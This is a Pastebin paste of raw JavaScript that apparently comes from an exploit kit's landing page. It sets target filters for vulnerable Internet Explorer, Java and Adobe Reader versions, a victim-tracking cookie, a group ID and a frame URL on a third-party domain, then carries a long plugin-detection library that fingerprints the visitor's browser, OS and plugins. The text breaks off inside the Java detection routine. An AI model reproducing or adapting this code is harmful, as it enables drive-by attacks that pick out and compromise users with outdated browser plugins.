Advertisement
aels

Untitled

Oct 28th, 2013
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var operaFilter = 1;
  2. var ieFilter = 1;
  3. var ieVersions = [6, 7, 8];
  4. var javaFilter = 1;
  5. var javaVersions = [
  6.     [500, 536],
  7.     [600, 646],
  8.     [700, 721]
  9. ];
  10. var pdfFilter = 1;
  11. var pdfVersions = [
  12.     [8000, 8200],
  13.     [9000, 9300]
  14. ];
  15. var frameUrl = 'http://son.syntalprivateequity.com/?';
  16. var cookieName = 'asg325we234';
  17. var groupStr = '151';
  18.  
  19. function bin2hex(s) {
  20.     var i, f = s.length,
  21.         a = [];
  22.     for (i = 0; i < f; i++) {
  23.         a[i] = s.charCodeAt(i).toString(16)
  24.     }
  25.     return a.join('')
  26. }
  27.  
  28. function setCookie(name, value, expires, path, domain, secure) {
  29.     document.cookie = name + '=' + escape(value) + ((expires) ? '; expires=' + expires : '') + ((path) ? '; path=' + path : '') + ((domain) ? '; domain=' + domain : '') + ((secure) ? '; secure' : '');
  30. }
  31.  
  32. function getCookie(name) {
  33.     var cookie = ' ' + document.cookie;
  34.     var search = ' ' + name + '=';
  35.     var setStr = null;
  36.     var offset = 0;
  37.     var end = 0;
  38.     if (cookie.length > 0) {
  39.         offset = cookie.indexOf(search);
  40.         if (offset != -1) {
  41.             offset += search.length;
  42.             end = cookie.indexOf(';', offset);
  43.             if (end == -1) {
  44.                 end = cookie.length;
  45.             }
  46.             setStr = unescape(cookie.substring(offset, end));
  47.         }
  48.     }
  49.     return (setStr);
  50. }
  51.  
  52. function in_array(needle, haystack, strict) {
  53.     var found = false,
  54.         key, strict = !! strict;
  55.     for (key in haystack) {
  56.         if ((strict && haystack[key] === needle) || (!strict && haystack[key] == needle)) {
  57.             found = true;
  58.             break;
  59.         }
  60.     }
  61.     return found;
  62. }
  63.  
  64. function get_browser() {
  65.     var N = navigator.appName,
  66.         ua = navigator.userAgent,
  67.         tem;
  68.     var M = ua.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);
  69.     if (M && (tem = ua.match(/version\/([\.\d]+)/i)) != null) M[2] = tem[1];
  70.     M = M ? [M[1], M[2]] : [N, navigator.appVersion, '-?'];
  71.     return M[0].toLowerCase();
  72. }
  73.  
  74. function get_browser_version() {
  75.     var N = navigator.appName,
  76.         ua = navigator.userAgent,
  77.         tem;
  78.     var M = ua.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);
  79.     if (M && (tem = ua.match(/version\/([\.\d]+)/i)) != null) M[2] = tem[1];
  80.     M = M ? [M[1], M[2]] : [N, navigator.appVersion, '-?'];
  81.     return parseInt(M[1]);
  82. }
  83. pdpd = {
  84.     version: '0.7.9',
  85.     name: 'pdpd',
  86.     handler: function (c, b, a) {
  87.         return function () {
  88.             c(b, a)
  89.         }
  90.     },
  91.     openTag: '<',
  92.     isDefined: function (b) {
  93.         return typeof b != 'undefined'
  94.     },
  95.     isArray: function (b) {
  96.         return (/array/i).test(Object.prototype.toString.call(b))
  97.     },
  98.     isFunc: function (b) {
  99.         return typeof b == 'function'
  100.     },
  101.     isString: function (b) {
  102.         return typeof b == 'string'
  103.     },
  104.     isNum: function (b) {
  105.         return typeof b == 'number'
  106.     },
  107.     isStrNum: function (b) {
  108.         return (typeof b == 'string' && (/\d/).test(b))
  109.     },
  110.     getNumRegx: /[\d][\d\.\_,-]*/,
  111.     splitNumRegx: /[\.\_,-]/g,
  112.     getNum: function (b, c) {
  113.         var d = this,
  114.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  115.         return a ? a[0] : null
  116.     },
  117.     compareNums: function (h, f, d) {
  118.         var e = this,
  119.             c, b, a, g = parseInt;
  120.         if (e.isStrNum(h) && e.isStrNum(f)) {
  121.             if (e.isDefined(d) && d.compareNums) {
  122.                 return d.compareNums(h, f)
  123.             }
  124.             c = h.split(e.splitNumRegx);
  125.             b = f.split(e.splitNumRegx);
  126.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  127.                 if (g(c[a], 10) > g(b[a], 10)) {
  128.                     return 1
  129.                 }
  130.                 if (g(c[a], 10) < g(b[a], 10)) {
  131.                     return -1
  132.                 }
  133.             }
  134.         }
  135.         return 0
  136.     },
  137.     formatNum: function (b, c) {
  138.         var d = this,
  139.             a, e;
  140.         if (!d.isStrNum(b)) {
  141.             return null
  142.         }
  143.         if (!d.isNum(c)) {
  144.             c = 4
  145.         }
  146.         c--;
  147.         e = b.replace(/\s/g, '').split(d.splitNumRegx).concat(['0', '0', '0', '0']);
  148.         for (a = 0; a < 4; a++) {
  149.             if (/^(0+)(.+)$/.test(e[a])) {
  150.                 e[a] = RegExp.$2
  151.             }
  152.             if (a > c || !(/\d/).test(e[a])) {
  153.                 e[a] = '0'
  154.             }
  155.         }
  156.         return e.slice(0, 4).join(',')
  157.     },
  158.     $$hasMimeType: function (a) {
  159.         return function (c) {
  160.             if (!a.isIE && c) {
  161.                 var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  162.                 for (b = 0; b < d.length; b++) {
  163.                     if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
  164.                         f = navigator.mimeTypes[d[b]];
  165.                         e = f ? f.enabledPlugin : 0;
  166.                         if (e && (e.name || e.description)) {
  167.                             return f
  168.                         }
  169.                     }
  170.                 }
  171.             }
  172.             return null
  173.         }
  174.     },
  175.     findNavPlugin: function (l, e, c) {
  176.         var j = this,
  177.             h = new RegExp(l, 'i'),
  178.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  179.             k = c ? new RegExp(c, 'i') : 0,
  180.             a = navigator.plugins,
  181.             g = '',
  182.             f, b, m;
  183.         for (f = 0; f < a.length; f++) {
  184.             m = a[f].description || g;
  185.             b = a[f].name || g;
  186.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  187.                 if (!k || !(k.test(m) || k.test(b))) {
  188.                     return a[f]
  189.                 }
  190.             }
  191.         }
  192.         return null
  193.     },
  194.     getMimeEnabledPlugin: function (k, m, c) {
  195.         var e = this,
  196.             f, b = new RegExp(m, 'i'),
  197.             h = '',
  198.             g = c ? new RegExp(c, 'i') : 0,
  199.             a, l, d, j = e.isString(k) ? [k] : k;
  200.         for (d = 0; d < j.length; d++) {
  201.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  202.                 l = f.description || h;
  203.                 a = f.name || h;
  204.                 if (b.test(l) || b.test(a)) {
  205.                     if (!g || !(g.test(l) || g.test(a))) {
  206.                         return f
  207.                     }
  208.                 }
  209.             }
  210.         }
  211.         return 0
  212.     },
  213.     getPluginFileVersion: function (f, b) {
  214.         var h = this,
  215.             e, d, g, a, c = -1;
  216.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  217.             return b
  218.         }
  219.         if (!b) {
  220.             return e
  221.         }
  222.         e = h.formatNum(e);
  223.         b = h.formatNum(b);
  224.         d = b.split(h.splitNumRegx);
  225.         g = e.split(h.splitNumRegx);
  226.         for (a = 0; a < d.length; a++) {
  227.             if (-1 < c && c < a && !(d[a] == '0')) {
  228.                 return b
  229.             }
  230.             if (g[a] != d[a]) {
  231.                 if (c == -1) {
  232.                     c = a
  233.                 }
  234.                 if (d[a] != '0') {
  235.                     return b
  236.                 }
  237.             }
  238.         }
  239.         return e
  240.     },
  241.     AXO: window.ActiveXObject,
  242.     getAXO: function (a) {
  243.         var f = null,
  244.             d, b = this,
  245.             c = {};
  246.         try {
  247.             f = new b.AXO(a)
  248.         } catch (d) {}
  249.         return f
  250.     },
  251.     convertFuncs: function (f) {
  252.         var a, g, d, b = /^[\$][\$]/,
  253.             c = this;
  254.         for (a in f) {
  255.             if (b.test(a)) {
  256.                 try {
  257.                     g = a.slice(2);
  258.                     if (g.length > 0 && !f[g]) {
  259.                         f[g] = f[a](f);
  260.                         delete f[a]
  261.                     }
  262.                 } catch (d) {}
  263.             }
  264.         }
  265.     },
  266.     initObj: function (e, b, d) {
  267.         var a, c;
  268.         if (e) {
  269.             if (e[b[0]] == 1 || d) {
  270.                 for (a = 0; a < b.length; a = a + 2) {
  271.                     e[b[a]] = b[a + 1]
  272.                 }
  273.             }
  274.             for (a in e) {
  275.                 c = e[a];
  276.                 if (c && c[b[0]] == 1) {
  277.                     this.initObj(c, b)
  278.                 }
  279.             }
  280.         }
  281.     },
  282.     initScript: function () {
  283.         var d = this,
  284.             a = navigator,
  285.             h, i = document,
  286.             l = a.userAgent || '',
  287.             j = a.vendor || '',
  288.             b = a.platform || '',
  289.             k = a.product || '';
  290.         d.initObj(d, ['$', d]);
  291.         for (h in d.Plugins) {
  292.             if (d.Plugins[h]) {
  293.                 d.initObj(d.Plugins[h], ['$', d, '$$', d.Plugins[h]], 1)
  294.             }
  295.         }
  296.         d.convertFuncs(d);
  297.         d.OS = 100;
  298.         if (b) {
  299.             var g = ['Win', 1, 'Mac', 2, 'Linux', 3, 'FreeBSD', 4, 'iPhone', 21.1, 'iPod', 21.2, 'iPad', 21.3, 'Win.' + '*CE', 22.1, 'Win.*Mobile', 22.2, 'Pocket\\s*PC', 22.3, '', 100];
  300.             for (h = g.length - 2; h >= 0; h = h - 2) {
  301.                 if (g[h] && new RegExp(g[h], 'i').test(b)) {
  302.                     d.OS = g[h + 1];
  303.                     break
  304.                 }
  305.             }
  306.         };
  307.         d.head = i.getElementsByTagName('head')[0] || i.getElementsByTagName('body')[0] || i.body || null;
  308.         d.isIE = new Function('return/*@cc_on!@*/!1')();
  309.         d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
  310.         d.ActiveXEnabled = false;
  311.         if (d.isIE) {
  312.             var h, m = ['Msxml2.XMLHTTP', 'Msxml2.DOMDocument', 'Microsoft.XMLDOM', 'ShockwaveFlash.ShockwaveFlash', 'TDCCtl.TDCCtl', 'Shell.UIHelper', 'Scripting.Dictionary', 'wmplayer.ocx'];
  313.             for (h = 0; h < m.length; h++) {
  314.                 if (d.getAXO(m[h])) {
  315.                     d.ActiveXEnabled = true;
  316.                     break
  317.                 }
  318.             }
  319.         };
  320.         d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  321.         d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : '0.9') : null;
  322.         d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  323.         d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  324.         d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  325.         d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null;
  326.         d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  327.         d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null;
  328.         d.addWinEvent('load', d.handler(d.runWLfuncs, d))
  329.     },
  330.     init: function (d) {
  331.         var c = this,
  332.             b, d, a = {
  333.                 status: -3,
  334.                 plugin: 0
  335.             };
  336.         if (!c.isString(d)) {
  337.             return a
  338.         }
  339.         if (d.length == 1) {
  340.             c.getVersionDelimiter = d;
  341.             return a
  342.         }
  343.         d = d.toLowerCase().replace(/\s/g, '');
  344.         b = c.Plugins[d];
  345.         if (!b || !b.getVersion) {
  346.             return a
  347.         }
  348.         a.plugin = b;
  349.         if (!c.isDefined(b.installed)) {
  350.             b.installed = null;
  351.             b.version = null;
  352.             b.version0 = null;
  353.             b.getVersionDone = null;
  354.             b.pluginName = d
  355.         }
  356.         c.garbage = false;
  357.         if (c.isIE && !c.ActiveXEnabled && d !== 'Ja' + 'va') {
  358.             a.status = -2;
  359.             return a
  360.         }
  361.         a.status = 1;
  362.         return a
  363.     },
  364.     fPush: function (b, a) {
  365.         var c = this;
  366.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length))) {
  367.             a.push(b)
  368.         }
  369.     },
  370.     callArray: function (b) {
  371.         var c = this,
  372.             a;
  373.         if (c.isArray(b)) {
  374.             for (a = 0; a < b.length; a++) {
  375.                 if (b[a] === null) {
  376.                     return
  377.                 }
  378.                 c.call(b[a]);
  379.                 b[a] = null
  380.             }
  381.         }
  382.     },
  383.     call: function (c) {
  384.         var b = this,
  385.             a = b.isArray(c) ? c.length : -1;
  386.         if (0 < a && b.isFunc(c[0])) {
  387.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  388.         } else {
  389.             if (b.isFunc(c)) {
  390.                 c(b)
  391.             }
  392.         }
  393.     },
  394.     $$isMinVersion: function (a) {
  395.         return function (h, g, d, c) {
  396.             var e = a.init(h),
  397.                 f, b = -1,
  398.                 j = {};
  399.             if (e.status < 0) {
  400.                 return e.status
  401.             }
  402.             f = e.plugin;
  403.             g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : '0'));
  404.             if (f.getVersionDone != 1) {
  405.                 f.getVersion(g, d, c);
  406.                 if (f.getVersionDone === null) {
  407.                     f.getVersionDone = 1
  408.                 }
  409.             }
  410.             a.cleanup();
  411.             if (f.installed !== null) {
  412.                 b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1)))
  413.             };
  414.             return b
  415.         }
  416.     },
  417.     getVersionDelimiter: ',',
  418.     $$getVersion: function (a) {
  419.         return function (g, d, c) {
  420.             var e = a.init(g),
  421.                 f, b, h = {};
  422.             if (e.status < 0) {
  423.                 return null
  424.             };
  425.             f = e.plugin;
  426.             if (f.getVersionDone != 1) {
  427.                 f.getVersion(null, d, c);
  428.                 if (f.getVersionDone === null) {
  429.                     f.getVersionDone = 1
  430.                 }
  431.             }
  432.             a.cleanup();
  433.             b = (f.version || f.version0);
  434.             b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  435.             return b
  436.         }
  437.     },
  438.     cleanup: function () {
  439.         var a = this;
  440.         if (a.garbage && a.isDefined(window.CollectGarbage)) {
  441.             window.CollectGarbage()
  442.         }
  443.     },
  444.     addWinEvent: function (d, c) {
  445.         var e = this,
  446.             a = window,
  447.             b;
  448.         if (e.isFunc(c)) {
  449.             if (a.addEventListener) {
  450.                 a.addEventListener(d, c, false)
  451.             } else {
  452.                 if (a.attachEvent) {
  453.                     a.attachEvent('on' + d, c)
  454.                 } else {
  455.                     b = a['on' + d];
  456.                     a['on' + d] = e.winHandler(c, b)
  457.                 }
  458.             }
  459.         }
  460.     },
  461.     winHandler: function (d, c) {
  462.         return function () {
  463.             d();
  464.             if (typeof c == 'function') {
  465.                 c()
  466.             }
  467.         }
  468.     },
  469.     WLfuncs0: [],
  470.     WLfuncs: [],
  471.     runWLfuncs: function (a) {
  472.         var b = {};
  473.         a.winLoaded = true;
  474.         a.callArray(a.WLfuncs0);
  475.         a.callArray(a.WLfuncs);
  476.         if (a.onDoneEmptyDiv) {
  477.             a.onDoneEmptyDiv()
  478.         }
  479.     },
  480.     winLoaded: false,
  481.     $$onWindowLoaded: function (a) {
  482.         return function (b) {
  483.             if (a.winLoaded) {
  484.                 a.call(b)
  485.             } else {
  486.                 a.fPush(b, a.WLfuncs)
  487.             }
  488.         }
  489.     },
  490.     $$onDetectionDone: function (a) {
  491.         return function (h, g, c, b) {
  492.             var d = a.init(h),
  493.                 k, e, j = {};
  494.             if (d.status == -3) {
  495.                 return -1
  496.             }
  497.             e = d.plugin;
  498.             if (!a.isArray(e.funcs)) {
  499.                 e.funcs = []
  500.             }
  501.             if (e.getVersionDone != 1) {
  502.                 k = a.isMinVersion ? a.isMinVersion(h, '0', c, b) : a.getVersion(h, c, b)
  503.             }
  504.             if (e.installed != -0.5 && e.installed != 0.5) {
  505.                 a.call(g);
  506.                 return 1
  507.             }
  508.             if (e.NOTF) {
  509.                 a.fPush(g, e.funcs);
  510.                 return 0
  511.             }
  512.             return 1
  513.         }
  514.     },
  515.     div: null,
  516.     divID: 'pdpd',
  517.     divWidth: 50,
  518.     pluginSize: 1,
  519.     emptyDiv: function () {
  520.         var d = this,
  521.             b, h, c, a, f, g;
  522.         if (d.div && d.div.childNodes) {
  523.             for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  524.                 c = d.div.childNodes[b];
  525.                 if (c && c.childNodes) {
  526.                     for (h = c.childNodes.length - 1; h >= 0; h--) {
  527.                         g = c.childNodes[h];
  528.                         try {
  529.                             c.removeChild(g)
  530.                         } catch (f) {}
  531.                     }
  532.                 }
  533.                 if (c) {
  534.                     try {
  535.                         d.div.removeChild(c)
  536.                     } catch (f) {}
  537.                 }
  538.             }
  539.         }
  540.         if (!d.div) {
  541.             a = document.getElementById(d.divID);
  542.             if (a) {
  543.                 d.div = a
  544.             }
  545.         }
  546.         if (d.div && d.div.parentNode) {
  547.             try {
  548.                 d.div.parentNode.removeChild(d.div)
  549.             } catch (f) {}
  550.             d.div = null
  551.         }
  552.     },
  553.     DONEfuncs: [],
  554.     onDoneEmptyDiv: function () {
  555.         var c = this,
  556.             a, b;
  557.         if (!c.winLoaded) {
  558.             return
  559.         }
  560.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  561.             return
  562.         }
  563.         for (a in c) {
  564.             b = c[a];
  565.             if (b && b.funcs) {
  566.                 if (b.OTF == 3) {
  567.                     return
  568.                 }
  569.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  570.                     return
  571.                 }
  572.             }
  573.         }
  574.         for (a = 0; a < c.DONEfuncs.length; a++) {
  575.             c.callArray(c.DONEfuncs)
  576.         }
  577.         c.emptyDiv()
  578.     },
  579.     getWidth: function (c) {
  580.         if (c) {
  581.             var a = c.scrollWidth || c.offsetWidth,
  582.                 b = this;
  583.             if (b.isNum(a)) {
  584.                 return a
  585.             }
  586.         }
  587.         return -1
  588.     },
  589.     getTagStatus: function (m, g, a, b) {
  590.         var c = this,
  591.             f, k = m.span,
  592.             l = c.getWidth(k),
  593.             h = a.span,
  594.             j = c.getWidth(h),
  595.             d = g.span,
  596.             i = c.getWidth(d);
  597.         if (!k || !h || !d || !c.getDOMobj(m)) {
  598.             return -2
  599.         }
  600.         if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1) {
  601.             return 0
  602.         }
  603.         if (l >= i) {
  604.             return -1
  605.         }
  606.         try {
  607.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  608.                 if (!m.winLoaded && c.winLoaded) {
  609.                     return 1
  610.                 }
  611.                 if (m.winLoaded && c.isNum(b)) {
  612.                     if (!c.isNum(m.count)) {
  613.                         m.count = b
  614.                     }
  615.                     if (b - m.count >= 10) {
  616.                         return 1
  617.                     }
  618.                 }
  619.             }
  620.         } catch (f) {}
  621.         return 0
  622.     },
  623.     getDOMobj: function (g, a) {
  624.         var f, d = this,
  625.             c = g ? g.span : 0,
  626.             b = c && c.firstChild ? 1 : 0;
  627.         try {
  628.             if (b && a) {
  629.                 d.div.focus()
  630.             }
  631.         } catch (f) {}
  632.         return b ? c.firstChild : null
  633.     },
  634.     setStyle: function (b, g) {
  635.         var f = b.style,
  636.             a, d, c = this;
  637.         if (f && g) {
  638.             for (a = 0; a < g.length; a = a + 2) {
  639.                 try {
  640.                     f[g[a]] = g[a + 1]
  641.                 } catch (d) {}
  642.             }
  643.         }
  644.     },
  645.     insertDivInBody: function (i, g) {
  646.         var f, c = this,
  647.             h = 'pd33993399',
  648.             b = null,
  649.             d = g ? window.top.document : window.document,
  650.             a = d.getElementsByTagName('body')[0] || d.body;
  651.         if (!a) {
  652.             try {
  653.                 d.write('<div id=\"' + h + '\">.' + c.openTag + '/div>');
  654.                 b = d.getElementById(h)
  655.             } catch (f) {}
  656.         }
  657.         a = d.getElementsByTagName('body')[0] || d.body;
  658.         if (a) {
  659.             a.insertBefore(i, a.firstChild);
  660.             if (b) {
  661.                 a.removeChild(b)
  662.             }
  663.         }
  664.     },
  665.     insertHTML: function (f, b, g, a, k) {
  666.         var l, m = document,
  667.             j = this,
  668.             p, o = m.createElement('span'),
  669.             n, i;
  670.         var c = ['outlineStyle', 'none', 'borderStyle', 'none', 'padding', '0px', 'margin', '0px', 'visibility', 'visible'];
  671.         var h = 'outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;';
  672.         if (!j.isDefined(a)) {
  673.             a = ''
  674.         }
  675.         if (j.isString(f) && (/[^\s]/).test(f)) {
  676.             f = f.toLowerCase().replace(/\s/g, '');
  677.             p = j.openTag + f + ' width=\"' + j.pluginSize + '\" height=\"' + j.pluginSize + '\" ';
  678.             p += 'style=\"' + h + 'display:inline;\" ';
  679.             for (n = 0; n < b.length; n = n + 2) {
  680.                 if (/[^\s]/.test(b[n + 1])) {
  681.                     p += b[n] + '=\"' + b[n + 1] + '\" '
  682.                 }
  683.             }
  684.             p += '>';
  685.             for (n = 0; n < g.length; n = n + 2) {
  686.                 if (/[^\s]/.test(g[n + 1])) {
  687.                     p += j.openTag + 'param name=\"' + g[n] + '\" value=\"' + g[n + 1] + '\" />'
  688.                 }
  689.             }
  690.             p += a + j.openTag + '/' + f + '>'
  691.         } else {
  692.             p = a
  693.         } if (!j.div) {
  694.             i = m.getElementById(j.divID);
  695.             if (i) {
  696.                 j.div = i
  697.             } else {
  698.                 j.div = m.createElement('div');
  699.                 j.div.id = j.divID
  700.             }
  701.             j.setStyle(j.div, c.concat(['width', j.divWidth + 'px', 'height', (j.pluginSize + 3) + 'px', 'fontSize', (j.pluginSize + 3) + 'px', 'lineHeight', (j.pluginSize + 3) + 'px', 'verticalAlign', 'baseline', 'display', 'block']));
  702.             if (!i) {
  703.                 j.setStyle(j.div, ['position', 'absolute', 'right', '0px', 'top', '0px']);
  704.                 j.insertDivInBody(j.div)
  705.             }
  706.         }
  707.         if (j.div && j.div.parentNode) {
  708.             j.setStyle(o, c.concat(['fontSize', (j.pluginSize + 3) + 'px', 'lineHeight', (j.pluginSize + 3) + 'px', 'verticalAlign', 'baseline', 'display', 'inline']));
  709.             try {
  710.                 o.innerHTML = p
  711.             } catch (l) {};
  712.             try {
  713.                 j.div.appendChild(o)
  714.             } catch (l) {};
  715.             return {
  716.                 span: o,
  717.                 winLoaded: j.winLoaded,
  718.                 tagName: f,
  719.                 outerHTML: p
  720.             }
  721.         }
  722.         return {
  723.             span: null,
  724.             winLoaded: j.winLoaded,
  725.             tagName: '',
  726.             outerHTML: p
  727.         }
  728.     },
  729.     file: {
  730.         $: 1,
  731.         any: 'fileStorageAny999',
  732.         valid: 'fileStorageValid999',
  733.         save: function (d, f, c) {
  734.             var b = this,
  735.                 e = b.$,
  736.                 a;
  737.             if (d && e.isDefined(c)) {
  738.                 if (!d[b.any]) {
  739.                     d[b.any] = []
  740.                 }
  741.                 if (!d[b.valid]) {
  742.                     d[b.valid] = []
  743.                 }
  744.                 d[b.any].push(c);
  745.                 a = b.split(f, c);
  746.                 if (a) {
  747.                     d[b.valid].push(a)
  748.                 }
  749.             }
  750.         },
  751.         getValidLength: function (a) {
  752.             return a && a[this.valid] ? a[this.valid].length : 0
  753.         },
  754.         getAnyLength: function (a) {
  755.             return a && a[this.any] ? a[this.any].length : 0
  756.         },
  757.         getValid: function (c, a) {
  758.             var b = this;
  759.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  760.         },
  761.         getAny: function (c, a) {
  762.             var b = this;
  763.             return c && c[b.any] ? b.get(c[b.any], a) : null
  764.         },
  765.         get: function (d, a) {
  766.             var c = d.length - 1,
  767.                 b = this.$.isNum(a) ? a : c;
  768.             return (0 > b || b > c) ? null : d[b]
  769.         },
  770.         split: function (g, c) {
  771.             var b = this,
  772.                 e = b.$,
  773.                 f = null,
  774.                 a, d;
  775.             g = g ? g.replace('.', '\\.') : '';
  776.             d = new RegExp('^(.*[^\\/])(' + g + '\\s*)$');
  777.             if (e.isString(c) && d.test(c)) {
  778.                 a = (RegExp.$1).split('/');
  779.                 f = {
  780.                     name: a[a.length - 1],
  781.                     ext: RegExp.$2,
  782.                     full: c
  783.                 };
  784.                 a[a.length - 1] = '';
  785.                 f.path = a.join('/')
  786.             }
  787.             return f
  788.         },
  789.         z: 0
  790.     },
  791.     Plugins: {
  792.         java: {
  793.             mimeType: ['application/x-java-applet', 'application/x-java-vm', 'application/x-java-bean'],
  794.             classID: 'clsid:8AD9C840-044E-11D1-B3E9-00805F499D93',
  795.             navigator: {
  796.                 a: window.navigator.javaEnabled(),
  797.                 javaEnabled: function () {
  798.                     return this.a
  799.                 },
  800.                 mimeObj: 0,
  801.                 pluginObj: 0
  802.             },
  803.             OTF: null,
  804.             minIEver: 7,
  805.             debug: 0,
  806.             debugEnable: function () {
  807.                 var a = this,
  808.                     b = a.$;
  809.                 a.debug = 1
  810.             },
  811.             isDisabled: {
  812.                 $: 1,
  813.                 DTK: function () {
  814.                     var a = this,
  815.                         c = a.$,
  816.                         b = a.$$;
  817.                     if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum('1.6')) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari, '5,1,0,0'))) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) {
  818.                         return 1
  819.                     }
  820.                     return 0
  821.                 },
  822.                 AXO: function () {
  823.                     var a = this,
  824.                         c = a.$,
  825.                         b = a.$$;
  826.                     return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0))
  827.                 },
  828.                 navMime: function () {
  829.                     var b = this,
  830.                         d = b.$,
  831.                         c = b.$$,
  832.                         a = c.navigator;
  833.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  834.                         return 1
  835.                     }
  836.                     return 0
  837.                 },
  838.                 navPlugin: function () {
  839.                     var b = this,
  840.                         d = b.$,
  841.                         c = b.$$,
  842.                         a = c.navigator;
  843.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  844.                         return 1
  845.                     }
  846.                     return 0
  847.                 },
  848.                 windowDotJava: function () {
  849.                     var a = this,
  850.                         c = a.$,
  851.                         b = a.$$;
  852.                     if (!window.java) {
  853.                         return 1
  854.                     }
  855.                     if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)) {
  856.                         return 1
  857.                     }
  858.                     return 0
  859.                 },
  860.                 allApplets: function () {
  861.                     var b = this,
  862.                         d = b.$,
  863.                         c = b.$$,
  864.                         a = c.navigator;
  865.                     if (d.OS >= 20) {
  866.                         return 0
  867.                     }
  868.                     if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) {
  869.                         return 1
  870.                     }
  871.                     if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum('2'))) && !a.mimeObj && !c.lang.System.getProperty()[0]) {
  872.                         return 1
  873.                     }
  874.                     return 0
  875.                 },
  876.                 AppletTag: function () {
  877.                     var b = this,
  878.                         d = b.$,
  879.                         c = b.$$,
  880.                         a = c.navigator;
  881.                     return d.isIE ? !a.javaEnabled() : 0
  882.                 },
  883.                 ObjectTag: function () {
  884.                     var a = this,
  885.                         c = a.$,
  886.                         b = a.$$;
  887.                     return c.isIE ? !c.ActiveXEnabled : 0
  888.                 },
  889.                 z: 0
  890.             },
  891.             getVerifyTagsDefault: function () {
  892.                 var a = this,
  893.                     c = a.$,
  894.                     b = [1, 0, 1];
  895.                 if (c.OS >= 20) {
  896.                     return b
  897.                 }
  898.                 if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && 0 > c.compareNums(c.verGecko, c.formatNum('2'))) || (c.isSafari && (!c.verSafari || 0 > c.compareNums(c.verSafari, c.formatNum('4')))) || (c.verOpera && c.verOpera < 10)) {
  899.                     b = [1, 1, 1]
  900.                 }
  901.                 return b
  902.             },
  903.             getVersion: function (j, g, i) {
  904.                 var b = this,
  905.                     d = b.$,
  906.                     e, a = b.applet,
  907.                     h = b.verify,
  908.                     k = b.navigator,
  909.                     f = null,
  910.                     l = null,
  911.                     c = null;
  912.                 if (b.getVersionDone === null) {
  913.                     b.OTF = 0;
  914.                     k.mimeObj = d.hasMimeType(b.mimeType);
  915.                     if (k.mimeObj) {
  916.                         k.pluginObj = k.mimeObj.enabledPlugin
  917.                     }
  918.                     if (h) {
  919.                         h.begin()
  920.                     }
  921.                 }
  922.                 a.setVerifyTagsArray(i);
  923.                 d.file.save(b, '.jar', g);
  924.                 if (b.getVersionDone === 0) {
  925.                     if (a.should_Insert_Query_Any()) {
  926.                         e = a.insert_Query_Any();
  927.                         b.setPluginStatus(e[0], e[1], f)
  928.                     }
  929.                     return
  930.                 }
  931.                 if ((!f || b.debug) && b.DTK.query().version) {
  932.                     f = b.DTK.version
  933.                 }
  934.                 if ((!f || b.debug) && b.navMime.query().version) {
  935.                     f = b.navMime.version
  936.                 }
  937.                 if ((!f || b.debug) && b.navPlugin.query().version) {
  938.                     f = b.navPlugin.version
  939.                 }
  940.                 if ((!f || b.debug) && b.AXO.query().version) {
  941.                     f = b.AXO.version
  942.                 }
  943.                 if (b.nonAppletDetectionOk(f)) {
  944.                     c = f
  945.                 }
